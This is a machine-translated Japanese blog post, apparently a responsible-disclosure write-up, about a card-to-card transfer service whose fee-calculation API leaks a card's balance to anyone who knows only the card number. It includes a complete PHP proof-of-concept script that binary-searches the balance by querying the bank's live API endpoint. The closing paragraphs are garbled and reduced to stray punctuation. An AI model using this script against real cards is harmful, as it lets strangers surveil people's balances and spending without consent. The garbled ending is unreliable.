それはすべて、ある晴れた夜、友人が私に彼にカードにお金を投げるように頼んだという事実から始まりました。 私はいつもインターネットバンクまたはモバイルアプリケーションのいずれかでこのような問題を解決しましたが、最近彼らのインターネットバンクが野生の怪物に変わったので、今回はcard2cardサービスを使用することにしました。
私は落ち着いてフィールドを埋めると、予期しないことが起こります:

待って、送信ボタンをクリックしませんでした! どこから来たの? 金額でプレイすると、カードの実際の金額がチェックされます。
最初は、Ajaxが編集ごとにCVCや有効期限を含むすべてのカードデータをサーバーに送信するのは罪深いことだと思いました。 もちろん、これは嫌なことですが、https-彼らが望むことをさせてください。 私はブラウザのリクエストに行きます:

CVCは送信されません。すでに興味深いです。 しかし、有効期間は送信されますが、少なくともある程度保護されていると思いますが、カードの残高とその場でのAjaxの残高を確認する理由はまだありません。
しかし、それでも、私はまだ興味の底に達していないし、リクエストを編集していません:

おっと 反対側では、送信者のカード番号以外は何もチェックされません。
明らかに、単純なブルートフォース法を使用すると、すべてが問題ない金額を簡単に選択でき、エラーが大きくなります。これがカードの残高になります。 つまり、カード番号のみを知っている(もちろん、情報はあまり公開されていませんが、重要ではありません。多くの人がカード番号を友人に渡し、支払いを受け取るためにインターネットに投稿することさえあります)。 さらに、実験が示しているように、これに影響を与える毎月の制限はありません。
穴は重要ではありませんが、この情報をリアルタイムで入手できるため、すべての費用/補充を追跡できます。これはより深刻です。
すぐに公的に利用可能な郵便で警備員に登録解除されますが、通常の反応はゼロです。
概念実証をすぐにスケッチしました(強く打たないで、私のプログラミングの経験は学校でBASICです)。
内部のPHP
<?php header( 'Content-type: text/html; charset=utf-8' ); $card = $_GET['card']; $card = preg_replace('/[^0-9]+/', '', $card); if (strlen($card) != 16) { exit('<br>Wrong card number: ' . $card); } echo 'Probing card ' . $card . '... <br>'; flush(); ob_flush(); sleep(1); $money = 50000; $max = 1000000; $min = 0; $done = false; $iter = 0; while ($done == false) { if($iter %5 == 0) { echo 'Still working, please hang on...<br>'; flush(); ob_flush(); sleep(1); } $json = file_get_contents('https://www.tinkoff.ru/api/v1/payment_commission/?paymentType=Transfer¤cy=RUB&moneyAmount=' . $money . '&provider=c2c-anytoany&sessionid=1&origin=prt&cardNumber=' . $card . '&fieldtoCardNumber=1&fieldagreement=&securityCode=cvc&expiryDate=10/20'); $obj = json_decode($json); $result = $obj->{'resultCode'}; if ($result == "OK") { //need to increase $min = $money; $money = ($min + $max) /2; $last_total_money = round($obj->payload->total->value); } else { //need to decrease $max = $money; $money = ($min + $max) /2; } $iter++; if ((floor($max) - floor($min)) == 0) { $done = true; echo '<br><br>Money amount is ' . $last_total_money . ' roubles.'; } if ($iter > 50) { exit('<br><br>Something went terribly wrong, or the bug is already fixed. Last amount is ' . $last_total_money); } } ?>
. - , , . , , , , .
, , ( ) . .
, - . , .
, , , .